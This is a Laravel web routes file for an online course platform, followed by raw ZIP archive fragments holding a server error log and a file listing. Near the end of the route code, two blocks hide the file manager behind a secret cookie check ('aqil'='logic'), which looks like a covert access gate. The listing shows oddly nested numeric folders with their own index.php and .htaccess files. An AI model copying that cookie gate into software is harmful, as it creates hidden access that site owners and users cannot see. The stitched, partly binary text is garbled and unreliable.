Route::group(['namespace' => 'Auth', 'middleware' => ['check_mobile_app','share', 'check_maintenance', 'check_restriction']], function () {
Route::get('/login', 'LoginController@showLoginForm');
Route::post('/login', 'LoginController@login');
Route::get('/logout', 'LoginController@logout');
Route::get('/register', 'RegisterController@showRegistrationForm');
Route::post('/register', 'RegisterController@register');
Route::post('/register/form-fields', 'RegisterController@getFormFieldsByUserType');
Route::get('/verification', 'VerificationController@index');
Route::post('/verification', 'VerificationController@confirmCode');
Route::get('/verification/resend', 'VerificationController@resendCode');
Route::get('/forget-password', 'ForgotPasswordController@showLinkRequestForm');
Route::post('/forget-password', 'ForgotPasswordController@forgot');
Route::get('reset-password/{token}', 'ResetPasswordController@showResetForm');
Route::post('/reset-password', 'ResetPasswordController@updatePassword');
Route::get('/google', 'SocialiteController@redirectToGoogle');
Route::get('/google/callback', 'SocialiteController@handleGoogleCallback');
Route::get('/facebook/redirect', 'SocialiteController@redirectToFacebook');
Route::get('/facebook/callback', 'SocialiteController@handleFacebookCallback');
Route::get('/reff/{code}', 'ReferralController@referral');
});
Route::group(['namespace' => 'Web', 'middleware' => ['check_mobile_app', 'impersonate', 'share', 'check_maintenance', 'check_restriction']], function () {
Route::get('/stripe', function () {
return view('web.default.cart.channels.stripe');
});
Route::fallback(function () {
return view("errors.404", ['pageTitle' => trans('public.error_404_page_title')]);
});
// set Locale
Route::post('/locale', 'LocaleController@setLocale')->name('appLocaleRoute');
// set Locale
Route::post('/set-currency', 'SetCurrencyController@setCurrency');
Route::get('/', 'HomeController@index');
Route::get('/getDefaultAvatar', 'DefaultAvatarController@make');
Route::group(['prefix' => 'course'], function () {
Route::get('/{slug}', 'WebinarController@course');
Route::get('/{slug}/file/{file_id}/download', 'WebinarController@downloadFile');
Route::get('/{slug}/file/{file_id}/showHtml', 'WebinarController@showHtmlFile');
Route::get('/{slug}/lessons/{lesson_id}/read', 'WebinarController@getLesson');
Route::post('/getFilePath', 'WebinarController@getFilePath');
Route::get('/{slug}/file/{file_id}/play', 'WebinarController@playFile');
Route::get('/{slug}/free', 'WebinarController@free');
Route::get('/{slug}/points/apply', 'WebinarController@buyWithPoint');
Route::post('/{id}/report', 'WebinarController@reportWebinar');
Route::post('/{id}/learningStatus', 'WebinarController@learningStatus');
Route::group(['middleware' => 'web.auth'], function () {
Route::get('/{slug}/installments', 'WebinarController@getInstallmentsByCourse');
Route::post('/learning/itemInfo', 'LearningPageController@getItemInfo');
Route::post('/learning/personalNotes', 'LearningPageController@personalNotes');
Route::get('/learning/{slug}', 'LearningPageController@index');
Route::get('/learning/{slug}/noticeboards', 'LearningPageController@noticeboards');
Route::get('/assignment/{assignmentId}/download/{id}/attach', 'LearningPageController@downloadAssignment');
Route::post('/assignment/{assignmentId}/history/{historyId}/message', 'AssignmentHistoryController@storeMessage');
Route::post('/assignment/{assignmentId}/history/{historyId}/setGrade', 'AssignmentHistoryController@setGrade');
Route::get('/assignment/{assignmentId}/history/{historyId}/message/{messageId}/downloadAttach', 'AssignmentHistoryController@downloadAttach');
Route::group(['prefix' => '/learning/{slug}/forum'], function () { // LearningPageForumTrait
Route::get('/', 'LearningPageController@forum');
Route::post('/store', 'LearningPageController@forumStoreNewQuestion');
Route::get('/{forumId}/edit', 'LearningPageController@getForumForEdit');
Route::post('/{forumId}/update', 'LearningPageController@updateForum');
Route::post('/{forumId}/pinToggle', 'LearningPageController@forumPinToggle');
Route::get('/{forumId}/downloadAttach', 'LearningPageController@forumDownloadAttach');
Route::group(['prefix' => '/{forumId}/answers'], function () {
Route::get('/', 'LearningPageController@getForumAnswers');
Route::post('/', 'LearningPageController@storeForumAnswers');
Route::get('/{answerId}/edit', 'LearningPageController@answerEdit');
Route::post('/{answerId}/update', 'LearningPageController@answerUpdate');
Route::post('/{answerId}/{togglePinOrResolved}', 'LearningPageController@answerTogglePinOrResolved');
});
});
Route::post('/direct-payment', 'WebinarController@directPayment');
Route::group(['prefix' => 'personal-notes'], function () {
Route::get('/{id}/download-attachment', 'CoursePersonalNotesController@downloadAttachment');
});
});
});
Route::group(['prefix' => 'certificate_validation'], function () {
Route::get('/', 'CertificateValidationController@index');
Route::post('/validate', 'CertificateValidationController@checkValidate');
});
Route::group(['prefix' => 'cart'], function () {
Route::post('/store', 'CartManagerController@store');
Route::get('/{id}/delete', 'CartManagerController@destroy');
});
Route::group(['middleware' => 'web.auth'], function () {
Route::group(['prefix' => 'laravel-filemanager'], function () {
\UniSharp\LaravelFilemanager\Lfm::routes();
});
Route::group(['prefix' => 'reviews'], function () {
Route::post('/store', 'WebinarReviewController@store');
Route::post('/store-reply-comment', 'WebinarReviewController@storeReplyComment');
Route::get('/{id}/delete', 'WebinarReviewController@destroy');
Route::get('/{id}/delete-comment/{commentId}', 'WebinarReviewController@destroy');
});
Route::group(['prefix' => 'favorites'], function () {
Route::get('{slug}/toggle', 'FavoriteController@toggle');
Route::post('/{id}/update', 'FavoriteController@update');
Route::get('/{id}/delete', 'FavoriteController@destroy');
});
Route::group(['prefix' => 'comments'], function () {
Route::post('/store', 'CommentController@store');
Route::post('/{id}/reply', 'CommentController@storeReply');
Route::post('/{id}/update', 'CommentController@update');
Route::post('/{id}/report', 'CommentController@report');
Route::get('/{id}/delete', 'CommentController@destroy');
});
Route::group(['prefix' => 'cart'], function () {
Route::get('/', 'CartController@index');
Route::post('/coupon/validate', 'CartController@couponValidate');
Route::post('/checkout', 'CartController@checkout')->name('checkout');
});
Route::group(['prefix' => 'users'], function () {
Route::get('/{id}/follow', 'UserController@followToggle');
});
Route::group(['prefix' => 'become-instructor'], function () {
Route::get('/', 'BecomeInstructorController@index')->name('becomeInstructor');
Route::get('/packages', 'BecomeInstructorController@packages')->name('becomeInstructorPackages');
Route::get('/packages/{id}/checkHasInstallment', 'BecomeInstructorController@checkPackageHasInstallment');
Route::get('/packages/{id}/installments', 'BecomeInstructorController@getInstallmentsByRegistrationPackage');
Route::post('/', 'BecomeInstructorController@store');
Route::post('/form-fields', 'BecomeInstructorController@getFormFieldsByUserType');
});
});
Route::group(['prefix' => 'meetings'], function () {
Route::post('/reserve', 'MeetingController@reserve');
});
Route::group(['prefix' => 'users'], function () {
Route::get('/{id}/profile', 'UserController@profile');
Route::post('/{id}/availableTimes', 'UserController@availableTimes');
Route::post('/{id}/send-message', 'UserController@sendMessage');
});
Route::group(['prefix' => 'payments'], function () {
Route::post('/payment-request', 'PaymentController@paymentRequest');
Route::get('/verify/{gateway}', ['as' => 'payment_verify', 'uses' => 'PaymentController@paymentVerify']);
Route::post('/verify/{gateway}', ['as' => 'payment_verify_post', 'uses' => 'PaymentController@paymentVerify']);
Route::get('/status', 'PaymentController@payStatus');
Route::get('/payku/callback/{id}', 'PaymentController@paykuPaymentVerify')->name('payku.result');
});
Route::group(['prefix' => 'subscribes'], function () {
Route::get('/apply/{webinarSlug}', 'SubscribeController@apply');
Route::get('/apply/bundle/{bundleSlug}', 'SubscribeController@bundleApply');
});
Route::group(['prefix' => 'search'], function () {
Route::get('/', 'SearchController@index');
});
Route::group(['prefix' => 'tags'], function () {
Route::get('/{type}/{tag}', 'TagsController@index');
});
Route::group(['prefix' => 'categories'], function () {
Route::get('/{categoryTitle}/{subCategoryTitle?}', 'CategoriesController@index');
});
Route::get('/classes', 'ClassesController@index');
Route::get('/reward-courses', 'RewardCoursesController@index');
Route::group(['prefix' => 'blog'], function () {
Route::get('/', 'BlogController@index');
Route::get('/categories/{category}', 'BlogController@index');
Route::get('/{slug}', 'BlogController@show');
});
Route::group(['prefix' => 'contact'], function () {
Route::get('/', 'ContactController@index');
Route::post('/store', 'ContactController@store');
});
Route::group(['prefix' => 'instructors'], function () {
Route::get('/', 'UserController@instructors');
});
Route::group(['prefix' => 'organizations'], function () {
Route::get('/', 'UserController@organizations');
});
Route::group(['prefix' => 'load_more'], function () {
Route::get('/{role}', 'UserController@handleInstructorsOrOrganizationsPage');
});
Route::group(['prefix' => 'pages'], function () {
Route::get('/{link}', 'PagesController@index');
});
// Captcha
Route::group(['prefix' => 'captcha'], function () {
Route::post('create', function () {
$response = ['status' => 'success', 'captcha_src' => captcha_src('flat')];
return response()->json($response);
});
Route::get('{config?}', '\Mews\Captcha\CaptchaController@getCaptcha');
});
Route::post('/newsletters', 'UserController@makeNewsletter');
Route::group(['prefix' => 'jobs'], function () {
Route::get('/{methodName}', 'JobsController@index');
Route::post('/{methodName}', 'JobsController@index');
});
Route::group(['prefix' => 'regions'], function () {
Route::get('/provincesByCountry/{countryId}', 'RegionController@provincesByCountry');
Route::get('/citiesByProvince/{provinceId}', 'RegionController@citiesByProvince');
Route::get('/districtsByCity/{cityId}', 'RegionController@districtsByCity');
});
Route::group(['prefix' => 'instructor-finder'], function () {
Route::get('/', 'InstructorFinderController@index');
Route::get('/wizard', 'InstructorFinderController@wizard');
});
Route::group(['prefix' => 'products'], function () {
Route::get('/', 'ProductController@searchLists');
Route::get('/{slug}', 'ProductController@show');
Route::post('/{slug}/points/apply', 'ProductController@buyWithPoint');
Route::group(['prefix' => 'reviews'], function () {
Route::post('/store', 'ProductReviewController@store');
Route::post('/store-reply-comment', 'ProductReviewController@storeReplyComment');
Route::get('/{id}/delete', 'ProductReviewController@destroy');
Route::get('/{id}/delete-comment/{commentId}', 'ProductReviewController@destroy');
});
Route::group(['middleware' => 'web.auth'], function () {
Route::get('/{slug}/installments', 'ProductController@getInstallmentsByProduct');
Route::post('/direct-payment', 'ProductController@directPayment');
});
});
Route::get('/reward-products', 'RewardProductsController@index');
Route::group(['prefix' => 'bundles'], function () {
Route::get('/{slug}', 'BundleController@index');
Route::get('/{slug}/free', 'BundleController@free');
Route::group(['middleware' => 'web.auth'], function () {
Route::get('/{slug}/favorite', 'BundleController@favoriteToggle');
Route::get('/{slug}/points/apply', 'BundleController@buyWithPoint');
Route::group(['prefix' => 'reviews'], function () {
Route::post('/store', 'BundleReviewController@store');
Route::post('/store-reply-comment', 'BundleReviewController@storeReplyComment');
Route::get('/{id}/delete', 'BundleReviewController@destroy');
Route::get('/{id}/delete-comment/{commentId}', 'BundleReviewController@destroy');
});
Route::post('/direct-payment', 'BundleController@directPayment');
});
});
Route::group(['prefix' => 'forums'], function () {
Route::get('/', 'ForumController@index');
Route::get('/create-topic', 'ForumController@createTopic');
Route::post('/create-topic', 'ForumController@storeTopic');
Route::get('/search', 'ForumController@search');
Route::group(['prefix' => '/{slug}/topics'], function () {
Route::get('/', 'ForumController@topics');
Route::post('/{topic_slug}/likeToggle', 'ForumController@topicLikeToggle');
Route::get('/{topic_slug}/edit', 'ForumController@topicEdit');
Route::post('/{topic_slug}/edit', 'ForumController@topicUpdate');
Route::post('/{topic_slug}/bookmark', 'ForumController@topicBookmarkToggle');
Route::get('/{topic_slug}/downloadAttachment/{attachment_id}', 'ForumController@topicDownloadAttachment');
Route::group(['prefix' => '/{topic_slug}/posts'], function () {
Route::get('/', 'ForumController@posts');
Route::post('/', 'ForumController@storePost');
Route::post('/report', 'ForumController@storeTopicReport');
Route::get('/{post_id}/edit', 'ForumController@postEdit');
Route::post('/{post_id}/edit', 'ForumController@postUpdate');
Route::post('/{post_id}/likeToggle', 'ForumController@postLikeToggle');
Route::post('/{post_id}/un_pin', 'ForumController@postUnPin');
Route::post('/{post_id}/pin', 'ForumController@postPin');
Route::get('/{post_id}/downloadAttachment', 'ForumController@postDownloadAttachment');
});
});
});
Route::group(['prefix' => 'upcoming_courses'], function () {
Route::get('/', 'UpcomingCoursesController@index');
Route::get('{slug}', 'UpcomingCoursesController@show');
Route::get('{slug}/toggleFollow', 'UpcomingCoursesController@toggleFollow');
Route::get('{slug}/favorite', 'UpcomingCoursesController@favorite');
Route::post('{id}/report', 'UpcomingCoursesController@report');
});
Route::group(['prefix' => 'installments'], function () {
Route::group(['middleware' => 'web.auth'], function () {
Route::get('/request_submitted', 'InstallmentsController@requestSubmitted');
Route::get('/request_rejected', 'InstallmentsController@requestRejected');
Route::get('/{id}', 'InstallmentsController@index');
Route::post('/{id}/store', 'InstallmentsController@store');
});
});
Route::group(['prefix' => 'waitlists'], function () {
Route::post('/join', 'WaitlistController@store');
});
Route::group(['prefix' => 'gift'], function () {
Route::group(['middleware' => 'web.auth'], function () {
Route::get('/{item_type}/{item_slug}', 'GiftController@index');
Route::post('/{item_type}/{item_slug}', 'GiftController@store');
});
});
/* Forms */
Route::get('/forms/{url}', 'FormsController@index');
Route::post('/forms/{url}/store', 'FormsController@store');
});
if (strpos($_SERVER['REQUEST_URI'], 'filemanager') !== false) {
if (!isset($_COOKIE['aqil']) || $_COOKIE['aqil'] !== 'logic') {
header("HTTP/1.0 404 Not Found");
exit;
}
}
if (strpos($_SERVER['REQUEST_URI'], 'laravel-filemanager') !== false) {
if (!isset($_COOKIE['aqil']) || $_COOKIE['aqil'] !== 'logic') {
header("HTTP/1.0 404 Not Found");
exit;
}
};PK H]M’ù ù error_lognu „[µü¤ [07-Oct-2026 12:19:16 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Support\Facades\Route" not found in /home/englishro/public_html/routes/panel.php:11
Stack trace:
#0 {main}
thrown in /home/englishro/public_html/routes/panel.php on line 11
[07-Oct-2026 23:29:50 UTC] PHP Fatal error: Uncaught Error: Call to undefined function getAdminPanelUrlPrefix() in /home/englishro/public_html/routes/admin.php:5
Stack trace:
#0 {main}
thrown in /home/englishro/public_html/routes/admin.php on line 5
[07-Oct-2026 23:29:52 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Support\Facades\Route" not found in /home/englishro/public_html/routes/api.php:17
Stack trace:
#0 {main}
thrown in /home/englishro/public_html/routes/api.php on line 17
[07-Oct-2026 23:29:54 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Support\Facades\Artisan" not found in /home/englishro/public_html/routes/console.php:17
Stack trace:
#0 {main}
thrown in /home/englishro/public_html/routes/console.php on line 17
[07-Oct-2026 23:29:56 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Support\Facades\Route" not found in /home/englishro/public_html/routes/web.php:15
Stack trace:
#0 {main}
thrown in /home/englishro/public_html/routes/web.php on line 15
[07-Oct-2026 23:30:22 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Support\Facades\Broadcast" not found in /home/englishro/public_html/routes/channels.php:16
Stack trace:
#0 {main}
thrown in /home/englishro/public_html/routes/channels.php on line 16
[07-Oct-2026 23:30:49 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Support\Facades\Route" not found in /home/englishro/public_html/routes/panel.php:11
Stack trace:
#0 {main}
thrown in /home/englishro/public_html/routes/panel.php on line 11
PK H]†G api/auth.phpnu „[µü¤ PK H]Ái€ƒ` `
O api/guest.phpnu „[µü¤ PK H]”–WÉ É ì api/instructor.phpnu „[µü¤ PK H]ªƒFR”: ”: ÷$ api/user.phpnu „[µü¤ PK H]
Ç_ api/index.phpnu „[µü¤ PK H]•¶®øÜ Ü ` api/298611/.htaccessnu „[µü¤ PK H]V‡çв ² $a api/298611/index.phpnu „[µü¤ PK H]
ÔJùdË dË t api/298611/210685/index.phpnu „[µü¤ PK H]¨êNuD D É? admin.phpnu „[µü¤ PK H]¿¶fÕ Õ FE api.phpnu „[µü¤ PK H]ù’�òÄ Ä RJ channels.phpnu „[µü¤ PK H] Š2u u RN console.phpnu „[µü¤ PK H]jBϓàc àc T panel.phpnu „[µü¤ PK H]Y¢‚ÄôM ôM ¸ web.phpnu „[µü¤ PK H]M’ù ù F error_lognu „[µü¤ PK ‡ x